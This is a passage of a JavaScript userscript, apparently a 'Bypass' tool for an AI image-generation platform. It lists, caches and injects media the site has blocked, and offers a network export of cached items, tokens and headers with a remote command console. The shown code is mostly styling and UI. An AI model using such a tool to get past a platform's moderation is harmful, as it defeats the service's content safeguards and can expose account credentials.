      .bypass-gallery-item:hover {
        border-color: ${colors.primary};
        box-shadow: 0 8px 24px rgba(99, 102, 241, 0.3);
        transform: scale(1.05);
      }

      .bypass-gallery-item.selected {
        border-color: ${colors.primary};
        box-shadow: 0 0 0 2px rgba(99, 102, 241, 0.4);
      }

      .bypass-gallery-item-image {
        width: 100%;
        height: 100%;
        object-fit: cover;
      }

      .bypass-gallery-item-badge {
        position: absolute;
        top: 8px;
        right: 8px;
        background: rgba(99, 102, 241, 0.9);
        color: white;
        padding: 4px 8px;
        border-radius: 4px;
        font-size: 10px;
        font-weight: 700;
        text-transform: uppercase;
        letter-spacing: 0.3px;
        backdrop-filter: blur(5px);
      }

      .bypass-gallery-item-overlay {
        position: absolute;
        inset: 0;
        background: linear-gradient(180deg, transparent 0%, rgba(0,0,0,0.8) 100%);
        opacity: 0;
        transition: opacity 0.3s ease;
        display: flex;
        align-items: flex-end;
        padding: 12px;
      }

      .bypass-gallery-item:hover .bypass-gallery-item-overlay {
        opacity: 1;
      }

      .bypass-gallery-item-id {
        color: white;
        font-size: 11px;
        font-weight: 600;
        word-break: break-all;
      }

      .bypass-dom-video {
        width: 100%;
        height: 100%;
        background: ${colors.bg};
        border-radius: 8px;
      }

      .bypass-item-loading {
        text-align: center;
        color: ${colors.textSecondary};
        font-size: 12px;
        padding: 8px;
        animation: pulse 2s infinite;
      }

      @keyframes pulse {
        0%, 100% { opacity: 0.6; }
        50% { opacity: 1; }
      }

      .bypass-form-group {
        display: flex;
        flex-direction: column;
        gap: 8px;
        animation: slideInUp 0.5s ease-out;
      }

      .bypass-label {
        color: ${colors.text};
        font-weight: 600;
        font-size: 13px;
        display: flex;
        align-items: center;
        gap: 10px;
        letter-spacing: 0.3px;
        position: relative;
      }

      .bypass-tooltip-icon {
        display: inline-flex;
        align-items: center;
        justify-content: center;
        font-size: 12px;
        cursor: help;
        position: relative;
      }

      .bypass-hover-tooltip {
        position: absolute;
        bottom: 125%;
        left: 50%;
        transform: translateX(-50%);
        background: ${settings.theme === 'dark' ? '#2d2d44' : '#333333'};
        color: white;
        padding: 8px 12px;
        border-radius: 6px;
        font-size: 11px;
        white-space: normal;
        max-width: 240px;
        z-index: 10001;
        pointer-events: none;
        box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
      }

      .bypass-checkbox {
        width: 20px;
        height: 20px;
        cursor: pointer;
        accent-color: ${colors.primary};
        transition: none;
      }

      .bypass-input,
      .bypass-select {
        background: ${colors.bgSecondary};
        border: 1px solid ${colors.border};
        color: ${colors.text};
        padding: 10px 14px;
        border-radius: 10px;
        font-size: 13px;
        transition: none;
        font-family: 'Monaco', 'Courier New', monospace;
        -webkit-appearance: none;
        appearance: none;
        user-select: text;
        -webkit-user-select: text;
      }

      .bypass-input:focus,
      .bypass-select:focus {
        outline: none;
        border-color: ${colors.primary};
        box-shadow: 0 0 0 2px rgba(99, 102, 241, 0.15);
        background: ${colors.bg};
      }

      .bypass-input:disabled {
        opacity: 0.6;
        cursor: not-allowed;
        background: ${colors.bgTertiary};
      }

      .bypass-section-title {
        color: ${colors.text};
        font-weight: 700;
        font-size: 13px;
        text-transform: uppercase;
        letter-spacing: 0.6px;
        margin-top: 12px;
        margin-bottom: 4px;
        padding-bottom: 10px;
        border-bottom: 2px solid ${colors.border};
        display: flex;
        align-items: center;
        gap: 8px;
        cursor: pointer;
        user-select: none;
        transition: color 0.15s ease;
      }

      .bypass-section-title:hover {
        color: ${colors.primary};
      }

      .bypass-collapsible-section {
        margin-bottom: 16px;
      }

      .bypass-section-content {
        display: flex;
        flex-direction: column;
        gap: 12px;
        max-height: 9999px;
        overflow: hidden;
        transition: max-height 0.35s ease, opacity 0.2s ease;
        opacity: 1;
      }

      .bypass-settings-toggle-row {
        display: flex;
        align-items: flex-start;
        justify-content: space-between;
        gap: 12px;
        width: 100%;
        min-width: 0;
        padding: 10px 12px;
        border: 1px solid ${colors.border};
        border-radius: 10px;
        background: ${colors.bgSecondary};
        transition: border-color 0.18s ease, background-color 0.18s ease, transform 0.18s ease;
      }

      .bypass-settings-toggle-row:hover {
        border-color: ${colors.primary};
        background: ${colors.bg};
        transform: translateY(-1px);
      }

      .bypass-settings-toggle-main {
        display: flex;
        align-items: flex-start;
        gap: 10px;
        min-width: 0;
        flex: 1;
      }

      .bypass-settings-toggle-label {
        display: inline-flex;
        align-items: center;
        gap: 8px;
        min-width: 0;
        line-height: 1.4;
        overflow-wrap: anywhere;
      }

      .bypass-section-content.collapsed {
        max-height: 0;
        opacity: 0;
        overflow: hidden;
      }

      .bypass-section-title .bypass-chevron {
        display: inline-block;
        transition: transform 0.15s ease;
        margin-left: auto;
      }

      .bypass-section-title.collapsed .bypass-chevron {
        transform: rotate(-90deg);
      }

      .bypass-empty-state {
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        gap: 16px;
        padding: 48px 24px;
        text-align: center;
        animation: fadeIn 0.6s ease-out;
      }

      .bypass-empty-icon {
        font-size: 56px;
        opacity: 0.25;
        animation: slideInUp 0.6s ease-out 0.2s backwards;
      }

      .bypass-empty-text {
        color: ${colors.textSecondary};
        font-size: 14px;
        line-height: 1.6;
        max-width: 280px;
        animation: slideInUp 0.6s ease-out 0.3s backwards;
      }

      .bypass-collapsed-btn {
        position: fixed;
        padding: 14px 28px;
        background: linear-gradient(135deg, ${colors.primary}, ${colors.primaryHover});
        color: white;
        border: none;
        border-radius: 50px;
        cursor: pointer;
        font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
        font-weight: 700;
        font-size: 14px;
        box-shadow: 0 10px 30px rgba(99, 102, 241, 0.35);
        z-index: 2147483647;
        transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
        display: flex;
        align-items: center;
        gap: 10px;
        bottom: 20px;
        right: 20px;
        backdrop-filter: blur(20px);
        border: 1px solid rgba(255, 255, 255, 0.2);
        animation: slideInUp 0.6s cubic-bezier(0.34, 1.56, 0.64, 1);
        pointer-events: auto;
      }

      .bypass-collapsed-btn.update-required {
        background: linear-gradient(135deg, #ef4444, #dc2626);
        box-shadow: 0 10px 30px rgba(239, 68, 68, 0.42);
        border: 1px solid rgba(255, 255, 255, 0.25);
      }

      .bypass-collapsed-btn:hover {
        transform: translateY(-6px);
        box-shadow: 0 15px 40px rgba(99, 102, 241, 0.45);
      }

      .bypass-collapsed-btn.update-required:hover {
        transform: translateY(-6px);
        box-shadow: 0 15px 45px rgba(239, 68, 68, 0.52);
      }

      .bypass-collapsed-btn:active {
        transform: translateY(-3px);
      }

      .bypass-badge {
        position: absolute;
        top: -8px;
        right: -8px;
        background: ${colors.error};
        color: white;
        border-radius: 50%;
        width: 28px;
        height: 28px;
        display: flex;
        align-items: center;
        justify-content: center;
        font-size: 12px;
        font-weight: bold;
        border: 2px solid ${colors.bg};
        box-shadow: 0 2px 8px rgba(0, 0, 0, 0.3);
      }

      .bypass-status-wrap {
        position: relative;
      }

      .bypass-status-overlay {
        position: absolute;
        top: 10px;
        right: 10px;
        display: flex;
        gap: 6px;
        align-items: center;
        padding: 6px 8px;
        border-radius: 10px;
        background: rgba(0, 0, 0, 0.55);
        color: #f1f5f9;
        font-size: 12px;
        z-index: 50;
        opacity: 0;
        transform: translateY(-6px);
        transition: all 0.2s ease;
        backdrop-filter: blur(6px);
      }

      .bypass-status-wrap:hover .bypass-status-overlay {
        opacity: 1;
        transform: translateY(0);
      }

      .bypass-status-overlay i {
        opacity: 0.9;
      }

      .bypass-blocked-wrap {
        position: relative;
      }

      .bypass-blocked-tooltip {
        position: absolute;
        bottom: calc(100% + 10px);
        left: 50%;
        transform: translateX(-50%);
        background: ${colors.bgSecondary};
        color: ${colors.text};
        border: 1px solid ${colors.border};
        border-radius: 8px;
        padding: 8px 10px;
        padding-bottom: 12px;
        font-size: 11px;
        line-height: 1.4;
        white-space: normal;
        display: inline-block;
        max-width: min(360px, 85vw);
        min-width: 220px;
        box-sizing: border-box;
        word-break: break-word;
        z-index: 120;
        opacity: 0;
        pointer-events: none;
        box-shadow: 0 8px 24px rgba(0, 0, 0, 0.35);
        transition: opacity 0.2s ease, transform 0.2s ease;
      }

      .bypass-blocked-tooltip-floating {
        position: fixed;
        top: auto;
        right: auto;
        bottom: auto;
        left: auto;
        transform: none;
        pointer-events: none;
        z-index: 100000;
      }

      .bypass-blocked-wrap:hover .bypass-blocked-tooltip {
        opacity: 1;
        transform: translateX(-50%) translateY(-2px);
      }

      .bypass-tooltip-preview {
        margin-top: 8px;
        margin-bottom: 4px;
        width: 180px;
        height: 120px;
        border-radius: 8px;
        overflow: hidden;
        border: 1px solid ${colors.border};
        background: ${colors.bgTertiary};
        display: flex;
        align-items: center;
        justify-content: center;
      }

      .bypass-tooltip-preview-placeholder {
        font-size: 10px;
        color: ${colors.textSecondary};
      }

      .bypass-tooltip-preview-media {
        width: 100%;
        height: 100%;
        object-fit: cover;
        display: block;
      }

      .bypass-injected-tooltip {
        position: fixed;
        background: ${colors.bgSecondary};
        color: ${colors.text};
        border: 1px solid ${colors.border};
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 11px;
        line-height: 1.4;
        max-width: min(360px, 85vw);
        z-index: 100000;
        box-shadow: 0 8px 24px rgba(0, 0, 0, 0.35);
        pointer-events: none;
        opacity: 0;
        transition: opacity 0.2s ease;
      }

      .bypass-download-preview {
        margin-top: 10px;
        padding: 10px;
        border-radius: 10px;
        border: 1px solid ${colors.border};
        background: ${colors.bgSecondary};
        display: flex;
        gap: 10px;
        align-items: center;
      }

      .bypass-download-preview-media {
        width: 90px;
        height: 70px;
        border-radius: 8px;
        overflow: hidden;
        border: 1px solid ${colors.border};
        background: ${colors.bgTertiary};
        display: flex;
        align-items: center;
        justify-content: center;
      }

      .bypass-download-preview-media img,
      .bypass-download-preview-media video {
        width: 100%;
        height: 100%;
        object-fit: cover;
        display: block;
      }

      .bypass-gallery-play {
        position: absolute;
        inset: 0;
        display: flex;
        align-items: center;
        justify-content: center;
        font-size: 28px;
        color: white;
        background: radial-gradient(circle, rgba(0,0,0,0.45) 0%, rgba(0,0,0,0) 60%);
        pointer-events: none;
      }

      @keyframes shimmer {
        0% { background-position: -1000px 0; }
        100% { background-position: 1000px 0; }
      }

      .bypass-loading-state {
        background: linear-gradient(90deg, ${colors.bgSecondary} 25%, ${colors.bgTertiary} 50%, ${colors.bgSecondary} 75%);
        background-size: 1000px 100%;
        animation: shimmer 2s infinite;
      }

      .bypass-collapsed-btn.loading {
        opacity: 0.8;
      }

      .bypass-collapsed-btn.loading span::after {
        content: '';
        animation: blink 1.4s infinite;
      }

      @keyframes blink {
        0%, 20%, 50%, 80%, 100% { opacity: 1; }
        40% { opacity: 0.5; }
        60% { opacity: 0.7; }
      }
    `;
    if (style.textContent !== nextCss) {
      style.textContent = nextCss;
    }
  }

  function hasFontAwesomeAvailable() {
    try {
      const probe = document.createElement('i');
      probe.className = 'fas fa-check';
      probe.style.cssText = 'position:absolute;left:-9999px;top:-9999px;';
      document.body.appendChild(probe);
      const content = getComputedStyle(probe, '::before').content;
      probe.remove();
      return !!content && content !== 'none' && content !== 'normal' && content !== '""';
    } catch {
      return false;
    }
  }

  function applyIconFallback(root) {
    if (!root || hasFontAwesomeAvailable()) return;
    const iconMap = {
      'fa-shield-alt': '🛡',
      'fa-arrows-rotate': '↻',
      'fa-sync-alt': '↻',
      'fa-minus': '−',
      'fa-expand': '⤢',
      'fa-compress': '⤡',
      'fa-database': '🗄',
      'fa-hourglass-half': '⏳',
      'fa-file-export': '📤',
      'fa-trash': '🗑',
      'fa-broom': '🧹',
      'fa-copy': '📋',
      'fa-up-right-from-square': '↗',
      'fa-image': '🖼',
      'fa-video': '🎬',
      'fa-wave-square': '〰',
      'fa-info-circle': 'ℹ',
      'fa-satellite-dish': '📡',
      'fa-shield-halved': '🛡',
      'fa-telegram': '✈',
      'fa-discord': '💬',
      'fa-download': '⬇',
      'fa-question-circle': '?'
    };

    root.querySelectorAll('i.fas, i.fab').forEach((el) => {
      if (el.dataset.bypassIconFallbackApplied === '1') return;
      const classes = Array.from(el.classList || []);
      const iconClass = classes.find(c => c.startsWith('fa-') && c !== 'fas' && c !== 'fab');
      const fallback = (iconClass && iconMap[iconClass]) || '•';
      if (!String(el.textContent || '').trim()) {
        el.textContent = fallback;
      }
      el.style.fontFamily = 'inherit';
      el.style.fontStyle = 'normal';
      el.dataset.bypassIconFallbackApplied = '1';
    });
  }

  function injectCollapseButtonEarly() {
    if (!shouldShowUiOnCurrentDomain()) {
      const existingBtn = document.querySelector('.bypass-collapsed-btn');
      if (existingBtn) existingBtn.remove();
      return;
    }

    // Inject styles first if not already done
    if (!document.getElementById('bypass-styles')) {
      injectStyles();
    }

    // Check if already injected
    if (document.querySelector('.bypass-collapsed-btn')) {
      return;
    }

    const attachButton = () => {
      if (document.querySelector('.bypass-collapsed-btn')) {
        return;
      }
      if (!document.body) {
        return;
      }

      const btn = document.createElement('button');
      btn.className = 'bypass-collapsed-btn loading';
      btn.innerHTML = '<i class="fas fa-shield-alt"></i> <span>Bypass</span>';
      btn.style.opacity = '0.7';
      btn.onclick = (e) => {
        e.preventDefault();
        e.stopPropagation();
        toggleExpand();
      };

      document.body.appendChild(btn);
      applyIconFallback(btn);

      // Apply remote update state (if any)
      applyUpdateStateToCollapsedButton(btn);
    };

    if (document.body) {
      attachButton();
      return;
    }

    // If body isn't ready yet, observe and attach ASAP
    const observer = new MutationObserver(() => {
      if (document.body) {
        attachButton();
        observer.disconnect();
      }
    });
    observer.observe(document.documentElement, { childList: true, subtree: true });
  }

  function updateCollapseBtnWithItems() {
    const btn = document.querySelector('.bypass-collapsed-btn');
    if (!btn) return;

    // Remove loading state once items are loaded
    btn.classList.remove('loading');
    btn.style.opacity = '1';
    btn.style.pointerEvents = 'auto';

    // In multi-account mode, items can exist in cached account tasks even if `itemsData` is empty.
    // Keep badge useful by falling back to the aggregated view count.
    let badgeCount = itemsData.length;
    try {
      const activeTokens = getActiveTokens();
      const multiMode = settings.forceTasksAcrossAccounts || activeTokens.length > 1;
      if (multiMode && badgeCount === 0) {
        badgeCount = getItemsForCurrentAccount().length;
      }
    } catch {
      // ignore
    }

    if (badgeCount > 0) {
      let badge = btn.querySelector('.bypass-badge');
      if (!badge) {
        badge = document.createElement('div');
        badge.className = 'bypass-badge';
        btn.appendChild(badge);
      }
      badge.textContent = badgeCount;
    }

    // Apply remote update state (if any)
    applyUpdateStateToCollapsedButton(btn);
    applyIconFallback(btn);
  }

  function loadItemsFromCache() {
    if (!settings.cachingEnabled || downloadUrlCache.size === 0) return false;
    logActiveTokenUsage('loadItemsFromCache(urlCache)');
    const existingIds = new Set(itemsData.map(item => item.id));
    let added = 0;
    for (const [cacheKey, url] of downloadUrlCache.entries()) {
      const parts = String(cacheKey || '').split('|');
      const imageId = parts[0];
      const kind = (parts[1] || '').toLowerCase();
      const isVideo = kind === 'video';
      if (!imageId || existingIds.has(imageId)) continue;
      itemsData.push({
        id: imageId,
        mimeType: isVideo ? 'video/*' : 'image/*',
        type: isVideo ? 'Video' : 'Image',
        taskId: 'Cached',
        createdAt: null,
        expiresAt: null,
        width: null,
        height: null,
        url
      });
      blockedItems.add(imageId);
      added += 1;
    }
    if (added > 0) {
      itemsData = itemsData.sort((a, b) => b.id.localeCompare(a.id));
      updateCollapseBtnWithItems();
      return true;
    }
    return false;
  }

  function loadCachedTasksIntoItems() {
    const loaded = loadTasksFromCache();
    if (loaded) {
      logActiveTokenUsage('loadCachedTasksIntoItems');
    }
    if (loaded) {
      itemsData = itemsData.sort((a, b) => b.id.localeCompare(a.id));
      updateCollapseBtnWithItems();
    }
  }

  function injectCacheLoadButton() {
    if (!settings.cachingEnabled) return;
    const existing = document.getElementById('bypass-cache-load-btn');
    if (existing) return;
    if (!document.body) return;

    const btn = document.createElement('button');
    btn.id = 'bypass-cache-load-btn';
    btn.textContent = 'Load from Cache';
    btn.style.cssText = `
      position: fixed;
      right: 20px;
      bottom: 80px;
      z-index: 2147483647;
      padding: 8px 12px;
      border-radius: 8px;
      border: 1px solid #475569;
      background: #1e293b;
      color: #e2e8f0;
      font-size: 12px;
      cursor: pointer;
      opacity: 0.85;
    `;
    btn.onclick = () => {
      const loaded = loadTasksFromCache();
      if (loaded) {
        injectBlockedMediaIntoDom();
        updateUI();
      }
    };
    document.body.appendChild(btn);
  }


  async function fetchPreviews() {
    const maxItems = 25;
    const maxVideos = 25;
    let videoCount = 0;
    const now = Date.now();
    const queue = itemsData
      .filter(item => !item.url)
      .filter(item => {
        // Skip hard-expired tasks — no point sending a download request
        const expTs = normalizeTimestamp(item.expiresAt || item.expireAt);
        if (expTs && now > expTs) return false;
        const isVideo = item.type === 'Video' || item.mimeType?.startsWith('video/');
        if (!isVideo) return true;
        if (videoCount >= maxVideos) return false;
        videoCount += 1;
        return true;
      })
      .slice(0, maxItems);
    if (!queue.length) return;
    const concurrency = 4;
    let cursor = 0;

    const worker = async () => {
      while (cursor < queue.length) {
        const index = cursor++;
        const item = queue[index];
        try {
          item.url = await getPreviewUrlForItem(item);
        } catch (err) {
          console.error(`Failed to fetch preview for ${item.id}: ${err}`);
          item.url = '';
        }
      }
    };

    await Promise.all(Array.from({ length: Math.min(concurrency, queue.length) }, () => worker()));
  }

  function setupDragAndResize(el, header) {
    let isDragging = false;
    let isResizingWindow = false;
    let dragMoved = false;
    let dragStartX = 0, dragStartY = 0;
    let dragStartLeft = 0, dragStartTop = 0;
    let resizeStartX = 0, resizeStartY = 0;
    let resizeStartWidth = 0, resizeStartHeight = 0;

    const beginDrag = (e) => {
      isDragging = true;
      dragMoved = false;
      dragStartX = e.clientX;
      dragStartY = e.clientY;
      dragStartLeft = el.offsetLeft;
      dragStartTop = el.offsetTop;
      e.preventDefault();

      // Hide all tooltips when starting to drag
      document.querySelectorAll('.bypass-hover-tooltip').forEach(t => {
        t.style.opacity = '0';
        t.style.pointerEvents = 'none';
      });
    };

    header.addEventListener('mousedown', (e) => {
      if (e.target.closest('.bypass-btn-icon')) return;
      beginDrag(e);
    });

    el.addEventListener('mousedown', (e) => {
      if (el.dataset.bypassMoveArmed !== 'true') return;
      if (isFloatingWindowInteractiveTarget(e.target)) return;
      beginDrag(e);
    });

    el.addEventListener('contextmenu', (e) => {
      if (Date.now() < floatingMenuSuppressUntil) return;
      if (dragMoved || isDragging || isResizingWindow) return;
      if (isFloatingWindowInteractiveTarget(e.target)) return;
      e.preventDefault();
      e.stopPropagation();

      const now = Date.now();
      const isDoubleRightClick = (now - floatingMenuLastContextAt) <= 420;
      floatingMenuLastContextAt = now;

      if (isDoubleRightClick) {
        clearContextMenu();
        resetFloatingWindowSizeAndCenter();
        showToast('Floating window reset to default size and centered.', 'success');
        return;
      }

      showFloatingWindowContextMenu(e.clientX, e.clientY, el);
    });

    const resizeHandle = el.querySelector('.bypass-resize-handle');
    if (resizeHandle) {
      resizeHandle.addEventListener('mousedown', (e) => {
        isResizingWindow = true;
        resizeStartX = e.clientX;
        resizeStartY = e.clientY;
        resizeStartWidth = el.offsetWidth;
        resizeStartHeight = el.offsetHeight;
        e.preventDefault();
        e.stopPropagation();
      });
    }

    let dragTimeout = null;
    let lastSaveTime = 0;
    document.addEventListener('mousemove', (e) => {
      if (isDragging) {
        const deltaX = e.clientX - dragStartX;
        const deltaY = e.clientY - dragStartY;
        if (Math.abs(deltaX) > 2 || Math.abs(deltaY) > 2) {
          dragMoved = true;
        }
        el.style.left = `${dragStartLeft + deltaX}px`;
        el.style.top = `${dragStartTop + deltaY}px`;
        el.style.right = 'auto';
        el.style.bottom = 'auto';
        el.style.transform = 'none';

        // Save position every 100ms max (throttled), but UI updates every frame
        const now = Date.now();
        if (now - lastSaveTime > 100) {
          settings.position = {
            top: el.style.top,
            left: el.style.left,
            right: 'auto',
            width: el.style.width,
            height: el.style.height
          };
          localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
          lastSaveTime = now;
        }
      }
      if (isResizingWindow) {
        const deltaX = e.clientX - resizeStartX;
        const deltaY = e.clientY - resizeStartY;
        const newWidth = Math.max(300, resizeStartWidth + deltaX);
        const newHeight = Math.max(250, resizeStartHeight + deltaY);
        el.style.width = `${newWidth}px`;
        el.style.height = `${newHeight}px`;
      }
    });

    document.addEventListener('mouseup', () => {
      if (isDragging) {
        // Re-enable tooltips after drag ends
        document.querySelectorAll('.bypass-hover-tooltip').forEach(t => {
          t.style.opacity = '1';
          t.style.pointerEvents = 'auto';
        });

        settings.position = {
          ...settings.position,
          top: el.style.top,
          left: el.style.left,
          right: 'auto',
          width: el.style.width,
          height: el.style.height
        };
        saveSettings();
      }
      if (isResizingWindow) {
        settings.position = {
          ...settings.position,
          width: `${el.offsetWidth}px`,
          height: `${el.offsetHeight}px`
        };
        saveSettings();
      }
      if (el.dataset.bypassMoveArmed === 'true') {
        delete el.dataset.bypassMoveArmed;
        el.classList.remove('bypass-move-armed');
      }
      isDragging = false;
      isResizingWindow = false;
      setTimeout(() => {
        dragMoved = false;
      }, 0);
    });
  }

  // Show confirmation dialog with warning styling
  function showConfirmDialog(message, onConfirm) {
    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed; top: 0; left: 0; right: 0; bottom: 0;
      background: rgba(0, 0, 0, 0.6); backdrop-filter: blur(5px);
      display: flex; align-items: center; justify-content: center;
      z-index: 10000050; animation: fadeIn 0.3s ease-out;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      background: ${settings.theme === 'dark' ? '#1e1e2e' : '#ffffff'};
      color: ${settings.theme === 'dark' ? '#e0e0e0' : '#333333'};
      border: 2px solid #ff6b6b;
      border-radius: 12px;
      padding: 24px;
      max-width: 400px;
      box-shadow: 0 20px 60px rgba(255, 107, 107, 0.3);
      animation: slideInUp 0.3s cubic-bezier(0.4, 0, 0.2, 1);
    `;

    dialog.innerHTML = `
      <div style="display: flex; align-items: flex-start; gap: 16px; margin-bottom: 20px;">
        <i class="fas fa-exclamation-triangle" style="color: #ff6b6b; font-size: 24px; flex-shrink: 0; margin-top: 4px;"></i>
        <div style="flex: 1;">
          <h3 style="margin: 0 0 8px 0; font-size: 16px; font-weight: 600;">Confirm Action</h3>
          <p style="margin: 0; font-size: 14px; opacity: 0.8;">${message}</p>
        </div>
      </div>
      <div style="display: flex; gap: 12px; justify-content: flex-end;">
        <button class="bypass-btn bypass-btn-secondary" style="padding: 8px 16px;">Cancel</button>
        <button class="bypass-btn bypass-btn-danger" style="padding: 8px 16px;">Confirm</button>
      </div>
    `;

    const buttons = dialog.querySelectorAll('button');
    buttons[0].onclick = () => overlay.remove();
    buttons[1].onclick = () => {
      overlay.remove();
      if (onConfirm) onConfirm();
    };

    overlay.appendChild(dialog);
    document.body.appendChild(overlay);
  }

  function showSharedNetworkInfoDialog() {
    const colors = getThemeColors();
    const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
    const isLocal = base ? sharedNetIsLocalhostUrl(base) : false;

    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      inset: 0;
      background: rgba(0, 0, 0, 0.7);
      backdrop-filter: blur(6px);
      display: flex;
      align-items: center;
      justify-content: center;
      z-index: 10000060;
      padding: 16px;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      width: min(760px, 96vw);
      max-height: min(88vh, 860px);
      overflow: auto;
      background: ${colors.bg};
      border: 1px solid ${colors.border};
      border-radius: 14px;
      box-shadow: 0 24px 80px rgba(0,0,0,0.55);
      color: ${colors.text};
      padding: 14px;
    `;

    const header = document.createElement('div');
    header.style.cssText = `display:flex; align-items:flex-start; justify-content:space-between; gap:10px; padding: 6px 6px 10px; border-bottom: 1px solid ${colors.border};`;
    header.innerHTML = `
      <div style="display:flex; flex-direction:column; gap:4px; min-width:0;">
        <div style="font-size:14px; font-weight:900;"><i class="fas fa-network-wired" style="color:${colors.primary}; margin-right:8px;"></i> Shared Network Save</div>
        <div style="font-size:12px; color:${colors.textSecondary}; line-height:1.4;">Export cached tasks/items to a host on your network so you can store, edit, or publish them elsewhere.</div>
      </div>
    `;
    const closeBtn = document.createElement('button');
    closeBtn.className = 'bypass-btn bypass-btn-secondary';
    closeBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
    closeBtn.innerHTML = '<i class="fas fa-times"></i> Close';
    closeBtn.onclick = () => overlay.remove();
    header.appendChild(closeBtn);

    const body = document.createElement('div');
    body.style.cssText = 'padding: 12px 6px 6px; display:grid; gap:10px;';

    const safety = document.createElement('div');
    safety.style.cssText = `
      border-radius: 12px;
      padding: 12px;
      border: 1px solid ${isLocal ? 'rgba(34,197,94,0.30)' : 'rgba(239,68,68,0.35)'};
      background: ${isLocal ? 'rgba(34,197,94,0.10)' : 'rgba(239,68,68,0.12)'};
      font-size: 12px;
      line-height: 1.5;
    `;
    safety.innerHTML = `
      <div style="font-weight:900; margin-bottom:6px; color:${isLocal ? '#86efac' : '#fecaca'};"><i class="fas fa-shield-halved"></i> Safety</div>
      <div><strong>Host:</strong> <span style="font-family:monospace;">${escapeHtml(settings.sharedNetworkHost || '')}</span></div>
      <div style="margin-top:6px;">If the host is <strong>not</strong> localhost/127.0.0.1/::1, assume it can read everything you send. Only use servers you fully control.</div>
      <div style="margin-top:6px;">Remote control console sends text commands to the host. Treat it like giving a server a keyboard.</div>
    `;

    const details = document.createElement('div');
    details.style.cssText = `
      border-radius: 12px;
      padding: 12px;
      border: 1px solid ${colors.border};
      background: ${colors.bgSecondary};
      font-size: 12px;
      color: ${colors.textSecondary};
      line-height: 1.55;
    `;
    details.innerHTML = `
      <div style="font-weight:900; color:${colors.text}; margin-bottom:6px;"><i class="fas fa-file-export"></i> What gets sent</div>
      <ul style="margin:0; padding-left:18px; display:grid; gap:6px;">
        <li>Cached tasks/items from your local storage (task cache + item metadata).</li>
        <li>Optionally: basic user identity (userId/nickname), page context (URL/title), and Tensor headers.</li>
        <li>By default, exports are sent as an <strong>application/json</strong> file payload (multipart). You can switch to plain JSON body if your server prefers it.</li>
      </ul>
    `;

    body.appendChild(safety);
    body.appendChild(details);

    dialog.appendChild(header);
    dialog.appendChild(body);
    overlay.appendChild(dialog);
    overlay.onclick = (e) => {
      if (e.target === overlay) overlay.remove();
    };
    document.body.appendChild(overlay);
  }

  function showSharedNetworkDocsDialog() {
    const colors = getThemeColors();
    const httpBase = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
    const isLocal = httpBase ? sharedNetIsLocalhostUrl(httpBase) : false;

    const uploadUrl = httpBase ? sharedNetJoinUrl(httpBase, settings.sharedNetworkHttpUploadPath) : null;
    const healthUrl = httpBase ? sharedNetJoinUrl(httpBase, settings.sharedNetworkHttpHealthPath) : null;
    const commandUrl = httpBase ? sharedNetJoinUrl(httpBase, settings.sharedNetworkHttpCommandPath) : null;
    const wsUrl = sharedNetNormalizeWsUrl(settings.sharedNetworkWsUrl);

    const lastEnv = sharedNetworkLastSent || null;
    const lastWire = sharedNetworkLastWire || null;
    const lastEnvText = lastEnv ? JSON.stringify(lastEnv, null, 2) : '';
    const lastWireText = lastWire ? JSON.stringify(lastWire, null, 2) : '';

    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      inset: 0;
      background: rgba(0, 0, 0, 0.78);
      backdrop-filter: blur(6px);
      z-index: 10000070;
      padding: 10px;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      width: calc(100vw - 20px);
      height: calc(100vh - 20px);
      background: ${colors.bg};
      border: 1px solid ${colors.border};
      border-radius: 16px;
      box-shadow: 0 24px 90px rgba(0,0,0,0.55);
      color: ${colors.text};
      display: flex;
      flex-direction: column;
      overflow: hidden;
    `;

    const header = document.createElement('div');
    header.style.cssText = `
      display: flex;
      align-items: center;
      justify-content: space-between;
      gap: 10px;
      padding: 12px 14px;
      border-bottom: 1px solid ${colors.border};
      background: linear-gradient(180deg, rgba(99,102,241,0.10), rgba(0,0,0,0));
    `;

    const titleWrap = document.createElement('div');
    titleWrap.style.cssText = 'display:flex; flex-direction:column; gap:4px; min-width:0;';
    titleWrap.innerHTML = `
      <div style="font-size:14px; font-weight:950; letter-spacing:0.2px; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">
        <i class="fas fa-book" style="color:${colors.primary}; margin-right:8px;"></i>
        Shared Network Docs (Crosee Save) — Protocol + Receiver Guide
      </div>
      <div style="font-size:12px; color:${colors.textSecondary}; line-height:1.35; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">
        Exact formats used by this userscript for HTTP (JSON + multipart) and WebSocket, with copy/paste examples.
      </div>
    `;

    const headerBtns = document.createElement('div');
    headerBtns.style.cssText = 'display:flex; align-items:center; gap:8px; flex-wrap:wrap; justify-content:flex-end;';

    const mkBtn = (html, onClick, kind = 'secondary') => {
      const b = document.createElement('button');
      b.className = `bypass-btn bypass-btn-${kind}`;
      b.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
      b.innerHTML = html;
      b.onclick = (e) => {
        e.stopPropagation();
        onClick?.();
      };
      return b;
    };

    const copyTextToClipboard = async (text) => {
      const payload = String(text || '');
      if (!payload) throw new Error('Nothing to copy');
      if (navigator.clipboard?.writeText) {
        await navigator.clipboard.writeText(payload);
        return;
      }
      const ta = document.createElement('textarea');
      ta.value = payload;
      document.body.appendChild(ta);
      ta.select();
      document.execCommand('copy');
      ta.remove();
    };

    const copyEnvBtn = mkBtn('<i class="fas fa-copy"></i> Copy last envelope', async () => {
      try {
        await copyTextToClipboard(lastEnvText);
        showToast('Copied last envelope JSON', 'success');
      } catch (e) {
        showToast(e?.message || 'Nothing to copy', 'warning');
      }
    });
